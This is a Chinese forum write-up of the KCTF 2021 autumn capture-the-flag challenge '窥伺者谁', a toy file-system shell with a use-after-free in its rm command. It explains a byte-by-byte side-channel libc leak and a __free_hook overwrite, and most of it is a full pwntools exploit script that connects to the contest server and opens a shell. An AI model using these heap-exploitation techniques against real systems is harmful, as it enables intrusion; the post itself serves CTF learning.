-
-
[原创]KCTF2021秋季赛 窥伺者谁
-
发表于: 2021-11-30 14:17 14362
-
程序大概就是模拟实现了一个文件系统,然后还提供了shell来管理
有ls,pwd,cd,mkdir,touth,echo,rm
这些功能可以使用
对于文件,有子节点,父节点,filename,文件内容等等属性,以0标识文件夹,1标识普通文件
恢复出的结构体大致如下:
漏洞点主要发生在以下这个地方:
在func_rm
中,此处free过后,并未将content
指针清0,也没有对该文件进行unlink
处理,因此content
堆块被free后仍然可以对其进行echo
和rm
,也就形成了uaf
那么触发条件呢?往上看,当该文件的上级目录不等于当前目录(cwd)时,就能触发这一漏洞,即rm("../file")
有了uaf,我们继续往下看
此时的我们并不知道任何地址,程序并未提供cat
功能,在能输出堆块内容的两个函数,pwd
和ls
中,都对输出的内容进行了检查,这使得貌似难以泄露堆块上的地址信息:
除此之外,程序全程都使用write
函数进行输出,打到stdout来泄露貌似也不太行
现在我还不知道官方的做法会是怎样,我的做法是通过类似侧信道的验证方式,来逐个字节爆破libc的地址信息
可以关注到rm
函数中:
如果我们把一个文件的filename
指针修改成一个写有libc地址信息的地方呢?
结果将是,此时的文件名虽然非法,但只要我们不去调用ls
,就不会触发check
,其他功能也仍然可以正常使用
那么思路就很清晰了:
1.创建一个file
,不要给这个file写入内容
2.将这个file
的filename
指针修改为指向libc地址信息,如指向某个unsorted bin
3.不断修改filename
指针,并通过多次rm("../payload")
的方式,从后往前逐个字节爆破libc地址信息
4.验证方式为,当结果错误时,会返回"no such file or dir\n"
的结果,当正确时,由于content
指针为空,所以相当于无事发生
5.libc地址的第一个字节大概率为"\x7f"
,而最后一个字节也确定,倒数第二个字节能确定一半,这样计算下来,最坏情况下爆破次数大概在1000次左右
6.得到libc地址之后就是正常思路了,利用uaf,把system
写到free_hook
这样的办法在本地是可以畅通无阻的,但是远端的情况就比较不如人意了,成功率很低
幸运的是多跑几次总算成功了,后面关注一下官方wp看看官方的做法
exp:
file
struc ; (sizeof
=
0xA8
, mappedto_8)
00000000
type
dq ?
00000008
parent dq ? ; offset
00000010
child dq
16
dup(?) ; offset
00000090
filename dq ?
00000098
content dq ?
000000A0
size dq ?
000000A8
file
ends
file
struc ; (sizeof
=
0xA8
, mappedto_8)
00000000
type
dq ?
00000008
parent dq ? ; offset
00000010
child dq
16
dup(?) ; offset
00000090
filename dq ?
00000098
content dq ?
000000A0
size dq ?
000000A8
file
ends
from
pwn
import
*
context.log_level
=
'debug'
local
=
0
if
local:
sh
=
process(
'./pwn'
)
else
:
sh
=
remote(
"101.35.172.231"
,
10000
)
libc
=
ELF(
'./libc.so.6'
)
sa
=
lambda
s,n : sh.sendafter(s,n)
sla
=
lambda
s,n : sh.sendlineafter(s,n)
sl
=
lambda
s : sh.sendline(s)
sd
=
lambda
s : sh.send(s)
rc
=
lambda
n : sh.recv(n)
ru
=
lambda
s : sh.recvuntil(s)
ti
=
lambda
: sh.interactive()
leak
=
lambda
name,addr :log.success(name
+
":"
+
hex
(addr))
def
debug():
gdb.attach(sh)
pause()
def
mkdir(dirname):
sla(
"$ "
,
"mkdir"
)
sla(
"name> "
,dirname)
def
touch(filename):
sla(
"$ "
,
"touch"
)
sla(
"filename> "
,filename)
def
cd(path):
sla(
"$ "
,
"cd"
)
sla(
"path> "
,path)
def
echo(path,content):
sla(
"$ "
,
"echo"
)
sla(
"arg> "
,content)
sla(
"redirect?> "
,
"y"
)
sla(
"path> "
,path)
def
rm(filename):
sla(
"$ "
,
"rm"
)
sla(
"filename> "
,filename)
def
touch(filename):
sla(
"$ "
,
"touch"
)
sla(
"filename> "
,filename)
mkdir(
"test1"
)
touch(
"file1"
)
touch(
"file2"
)
touch(
"file3"
)
echo(
"file2"
,
"a"
*
0x60
)
echo(
"file1"
,
"a"
*
0x80
)
touch(
"file4"
)
echo(
"file3"
,
'a'
*
0x420
)
touch(
"file5"
)
touch(
"file6"
)
touch(
"file7"
)
touch(
"file8"
)
touch(
"file9"
)
touch(
"file10"
)
touch(
"file11"
)
touch(
"file12"
)
cd(
"test1"
)
touch(
"success1"
)
touch(
"success2"
)
for
i
in
range
(
8
):
rm(
"../file1"
)
cd(
".."
)
echo(
"file5"
,
'a'
)
echo(
"file6"
,
'a'
)
echo(
"file9"
,
'a'
*
0x40
)
cd(
"test1"
)
rm(
"../file6"
)
rm(
"../file5"
)
cd(
".."
)
echo(
"file5"
,
"\xf0\x0d"
)
echo(
"file7"
,
'\x00'
*
0x80
)
echo(
"file8"
,
"\x00"
*
0x80
+
"\xc5\x0d"
)
cd(
"test1"
)
rm(
"../file3"
)
cd(
".."
)
# echo("file11","\x0d")
cd(
"test1"
)
# debug()
addr
=
"\x7f"
for
i
in
range
(
4
):
cd(
".."
)
echo(
"file8"
,
"\x00"
*
0x80
+
p8(
0xc4
-
i))
cd(
"test1"
)
j
=
1
while
(j<
256
):
if
j
=
=
10
:
j
+
=
1
continue
payload
=
"../"
+
p8(j)
+
addr[::
-
1
]
rm(payload)
data
=
ru(
"ch3cke"
)
if
"no such"
in
data:
j
+
=
1
continue
else
:
addr
+
=
p8(j)
j
=
257
print
(addr)
addr
+
=
"\xa0"
print
(
len
(addr))
main_arena
=
u64(addr[::
-
1
].ljust(
8
,
"\x00"
))
leak(
"main_arena"
,main_arena)
libc_base
=
main_arena
-
0x3ebca0
system
=
libc_base
+
libc.sym[
'system'
]
free_hook
=
libc_base
+
libc.sym[
'__free_hook'
]
cd(
".."
)
echo(
"file10"
,
"a"
*
0x30
)
echo(
"file11"
,
"a"
*
0x30
)
cd(
"test1"
)
rm(
"../file10"
)
rm(
"../file11"
)
cd(
".."
)
echo(
"file11"
,p64(free_hook))
cd(
"test1"
)
echo(
"success1"
,
"/bin/sh\x00"
.ljust(
0x30
,
'a'
))
cd(
".."
)
echo(
"file12"
,p64(system).ljust(
0x30
,
'\x00'
))
cd(
"test1"
)
rm(
"success1"
)
ti()
from
pwn
import
*
context.log_level
=
'debug'
local
=
0
if
local:
sh
=
process(
'./pwn'
)
else
:
sh
=
remote(
"101.35.172.231"
,
10000
)
libc
=
ELF(
'./libc.so.6'
)
sa
=
lambda
s,n : sh.sendafter(s,n)
sla
=
lambda
s,n : sh.sendlineafter(s,n)
sl
=
lambda
s : sh.sendline(s)
sd
=
lambda
s : sh.send(s)
rc
=
lambda
n : sh.recv(n)
ru
=
lambda
s : sh.recvuntil(s)
ti
=
lambda
: sh.interactive()
leak
=
lambda
name,addr :log.success(name
+
":"
+
hex
(addr))
def
debug():
gdb.attach(sh)
pause()
def
mkdir(dirname):
sla(
"$ "
,
"mkdir"
)
sla(
"name> "
,dirname)
def
touch(filename):
sla(
"$ "
,
"touch"
)
sla(
"filename> "
,filename)
def
cd(path):
sla(
"$ "
,
"cd"
)
sla(
"path> "
,path)
def
echo(path,content):
sla(
"$ "
,
"echo"
)
sla(
"arg> "
,content)
sla(
"redirect?> "
,
"y"
)
sla(
"path> "
,path)
def
rm(filename):
sla(
"$ "
,
"rm"
)
sla(
"filename> "
,filename)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
- [原创]KCTF2021秋季赛 声名远扬 14716
- [原创]KCTF2021秋季赛 窥伺者谁 14363
- [原创]2021KCTF秋季赛 迷失丛林 14777